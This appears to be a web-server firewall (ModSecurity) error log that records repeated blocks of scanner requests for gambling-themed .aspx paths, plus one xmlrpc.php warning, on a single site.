[Wed Feb 04 05:14:38.116508 2026] [:error] [pid 47579:tid 47659] [client 65.108.78.33:14034] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYJlPvuxWks846_Vi2y86wAAAI8"]
[Wed Feb 04 05:14:40.229719 2026] [:error] [pid 47577:tid 47593] [client 65.108.78.33:14044] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYJlQKvA4Yp0Sov-3kTwyAAAAAw"]
[Wed Feb 04 05:14:42.440037 2026] [:error] [pid 47577:tid 47596] [client 65.108.78.33:22910] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYJlQqvA4Yp0Sov-3kTwywAAAA8"]
[Wed Feb 04 05:14:44.562965 2026] [:error] [pid 18816:tid 18840] [client 65.108.78.33:22914] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYJlRMszZcOol_Iv-0UqGQAAARU"]
[Wed Feb 04 05:14:46.706705 2026] [:error] [pid 47579:tid 47664] [client 65.108.78.33:22916] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYJlRvuxWks846_Vi2y8-AAAAJQ"]
[Wed Feb 04 07:38:19.227371 2026] [:error] [pid 55445:tid 55456] [client 51.161.84.110:60460] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYKG61nd043q8WHuhu3lhwAAAUk"]
[Wed Feb 04 07:38:20.973138 2026] [:error] [pid 18816:tid 18841] [client 51.161.84.110:43940] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYKG7MszZcOol_Iv-0VhlwAAARY"]
[Wed Feb 04 07:38:21.650584 2026] [:error] [pid 47578:tid 47627] [client 51.161.84.110:46498] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aYKG7Z5oatM9u8-yDv8STwAAAEw"]
[Wed Feb 04 07:38:23.587674 2026] [:error] [pid 47579:tid 47649] [client 51.161.84.110:46502] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYKG7_uxWks846_Vi2zk7AAAAIU"]
[Wed Feb 04 07:38:24.785502 2026] [:error] [pid 47577:tid 47584] [client 51.161.84.110:46504] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYKG8KvA4Yp0Sov-3kQbLwAAAAM"]
[Wed Feb 04 07:38:26.745411 2026] [:error] [pid 47578:tid 47641] [client 51.161.84.110:46520] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYKG8p5oatM9u8-yDv8SVAAAAFg"]
[Wed Feb 04 07:38:26.862263 2026] [:error] [pid 47578:tid 47615] [client 51.161.84.110:46528] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aYKG8p5oatM9u8-yDv8SVQAAAEA"]
[Wed Feb 04 07:38:28.825321 2026] [:error] [pid 47579:tid 47651] [client 51.161.84.110:46542] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYKG9PuxWks846_Vi2zk9gAAAIc"]
[Wed Feb 04 07:38:29.796929 2026] [:error] [pid 47578:tid 47636] [client 51.161.84.110:42706] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYKG9Z5oatM9u8-yDv8SWQAAAFU"]
[Wed Feb 04 07:38:31.254993 2026] [:error] [pid 47577:tid 47601] [client 51.161.84.110:42720] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYKG96vA4Yp0Sov-3kQbPAAAABQ"]
[Wed Feb 04 07:38:32.709059 2026] [:error] [pid 47676:tid 47692] [client 51.161.84.110:42736] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKG-ArYSkTgZEfUDqGTUQAAAM4"]
[Wed Feb 04 07:38:33.543962 2026] [:error] [pid 47578:tid 47632] [client 51.161.84.110:42750] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYKG-Z5oatM9u8-yDv8SXQAAAFE"]
[Wed Feb 04 07:38:35.421859 2026] [:error] [pid 18816:tid 18831] [client 51.161.84.110:42764] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKG-8szZcOol_Iv-0VhtwAAAQw"]
[Wed Feb 04 07:38:36.887883 2026] [:error] [pid 47577:tid 47587] [client 51.161.84.110:42780] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKG_KvA4Yp0Sov-3kQbQQAAAAY"]
[Wed Feb 04 07:38:37.977826 2026] [:error] [pid 47578:tid 47640] [client 51.161.84.110:42788] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKG_Z5oatM9u8-yDv8SYgAAAFc"]
[Wed Feb 04 07:38:40.053342 2026] [:error] [pid 18816:tid 18828] [client 51.161.84.110:51590] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHAMszZcOol_Iv-0VhxQAAAQk"]
[Wed Feb 04 07:38:41.955092 2026] [:error] [pid 18816:tid 18827] [client 51.161.84.110:51606] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKHAcszZcOol_Iv-0VhyAAAAQg"]
[Wed Feb 04 07:38:44.032649 2026] [:error] [pid 47579:tid 47660] [client 51.161.84.110:51610] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKHBPuxWks846_Vi2zlFAAAAJA"]
[Wed Feb 04 07:38:46.921188 2026] [:error] [pid 18816:tid 18837] [client 51.161.84.110:51620] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHBsszZcOol_Iv-0Vh0wAAARI"]
[Wed Feb 04 07:38:48.086837 2026] [:error] [pid 47577:tid 47584] [client 51.161.84.110:51636] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHCKvA4Yp0Sov-3kQbWAAAAAM"]
[Wed Feb 04 07:38:50.995161 2026] [:error] [pid 47676:tid 47680] [client 51.161.84.110:44626] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHCgrYSkTgZEfUDqGTegAAAMI"]
[Wed Feb 04 07:41:03.424600 2026] [:error] [pid 47579:tid 47650] [client 149.202.183.73:37554] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKHj_uxWks846_Vi2zmKgAAAIY"]
[Wed Feb 04 07:41:08.702136 2026] [:error] [pid 47577:tid 47601] [client 51.161.84.110:37608] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKHlKvA4Yp0Sov-3kQcMwAAABQ"]
[Wed Feb 04 07:41:12.539367 2026] [:error] [pid 47676:tid 47702] [client 51.161.84.110:56888] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKHmArYSkTgZEfUDqGUdwAAANc"]
[Wed Feb 04 07:41:15.467585 2026] [:error] [pid 18816:tid 18823] [client 51.161.84.110:56900] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHm8szZcOol_Iv-0VjNwAAAQQ"]
[Wed Feb 04 07:41:19.335450 2026] [:error] [pid 47578:tid 47622] [client 51.161.84.110:56912] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKHn55oatM9u8-yDv8TfQAAAEc"]
[Wed Feb 04 07:45:10.867135 2026] [:error] [pid 47578:tid 47638] [client 51.161.84.110:52166] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYKIhp5oatM9u8-yDv8VTgAAAFY"]
[Wed Feb 04 07:45:13.965290 2026] [:error] [pid 47676:tid 47687] [client 51.161.84.110:44420] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYKIiQrYSkTgZEfUDqGWugAAAMk"]
[Wed Feb 04 07:45:14.345482 2026] [:error] [pid 47577:tid 47588] [client 51.161.84.110:44408] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYKIiqvA4Yp0Sov-3kQekgAAAAc"]
[Wed Feb 04 07:45:15.027090 2026] [:error] [pid 47578:tid 47631] [client 51.161.84.110:42582] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aYKIi55oatM9u8-yDv8VUwAAAFA"]
[Wed Feb 04 07:45:17.028948 2026] [:error] [pid 47578:tid 47636] [client 51.161.84.110:42588] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYKIjZ5oatM9u8-yDv8VWgAAAFU"]
[Wed Feb 04 07:45:17.532937 2026] [:error] [pid 47577:tid 47604] [client 51.161.84.110:42600] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYKIjavA4Yp0Sov-3kQenQAAABc"]
[Wed Feb 04 07:45:17.921038 2026] [:error] [pid 47577:tid 47584] [client 51.161.84.110:42616] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYKIjavA4Yp0Sov-3kQengAAAAM"]
[Wed Feb 04 07:45:20.816330 2026] [:error] [pid 55445:tid 55458] [client 51.161.84.110:43010] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYKIkFnd043q8WHuhu3qNgAAAUs"]
[Wed Feb 04 07:45:21.884148 2026] [:error] [pid 47676:tid 47682] [client 51.161.84.110:43014] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYKIkQrYSkTgZEfUDqGWvQAAAMQ"]
[Wed Feb 04 07:45:22.976978 2026] [:error] [pid 47577:tid 47599] [client 51.161.84.110:43024] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYKIkqvA4Yp0Sov-3kQepwAAABI"]
[Wed Feb 04 07:45:24.104608 2026] [:error] [pid 47578:tid 47635] [client 51.161.84.110:43038] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYKIlJ5oatM9u8-yDv8VZQAAAFQ"]
[Wed Feb 04 07:45:24.245870 2026] [:error] [pid 55445:tid 55467] [client 51.161.84.110:43042] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYKIlFnd043q8WHuhu3qPQAAAVQ"]
[Wed Feb 04 07:45:25.518712 2026] [:error] [pid 47579:tid 47654] [client 51.161.84.110:43058] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aYKIlfuxWks846_Vi2znzwAAAIo"]
[Wed Feb 04 07:45:27.688110 2026] [:error] [pid 18816:tid 18822] [client 51.161.84.110:43072] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYKIl8szZcOol_Iv-0VlaAAAAQM"]
[Wed Feb 04 07:45:30.115081 2026] [:error] [pid 18816:tid 18842] [client 51.161.84.110:55274] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKImsszZcOol_Iv-0VlbAAAARc"]
[Wed Feb 04 07:45:30.229350 2026] [:error] [pid 55445:tid 55453] [client 51.161.84.110:55276] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYKImlnd043q8WHuhu3qTAAAAUY"]
[Wed Feb 04 07:45:33.575344 2026] [:error] [pid 47577:tid 47591] [client 51.161.84.110:55284] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYKInavA4Yp0Sov-3kQesgAAAAo"]
[Wed Feb 04 07:45:34.549191 2026] [:error] [pid 18816:tid 18840] [client 51.161.84.110:55288] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aYKInsszZcOol_Iv-0VldQAAARU"]
[Wed Feb 04 07:45:35.136879 2026] [:error] [pid 55445:tid 55455] [client 51.161.84.110:55300] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKIn1nd043q8WHuhu3qUgAAAUg"]
[Wed Feb 04 07:45:37.888831 2026] [:error] [pid 47676:tid 47702] [client 51.161.84.110:55310] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKIoQrYSkTgZEfUDqGW0wAAANc"]
[Wed Feb 04 07:45:38.345047 2026] [:error] [pid 47676:tid 47678] [client 51.161.84.110:55314] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYKIogrYSkTgZEfUDqGW1AAAAMA"]
[Wed Feb 04 07:45:39.638751 2026] [:error] [pid 47577:tid 47583] [client 51.161.84.110:47228] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYKIo6vA4Yp0Sov-3kQeuQAAAAI"]
[Wed Feb 04 07:45:41.308620 2026] [:error] [pid 55445:tid 55462] [client 51.161.84.110:47234] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIpVnd043q8WHuhu3qXAAAAU8"]
[Wed Feb 04 07:45:41.965175 2026] [:error] [pid 55445:tid 55447] [client 51.161.84.110:47238] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYKIpVnd043q8WHuhu3qXgAAAUA"]
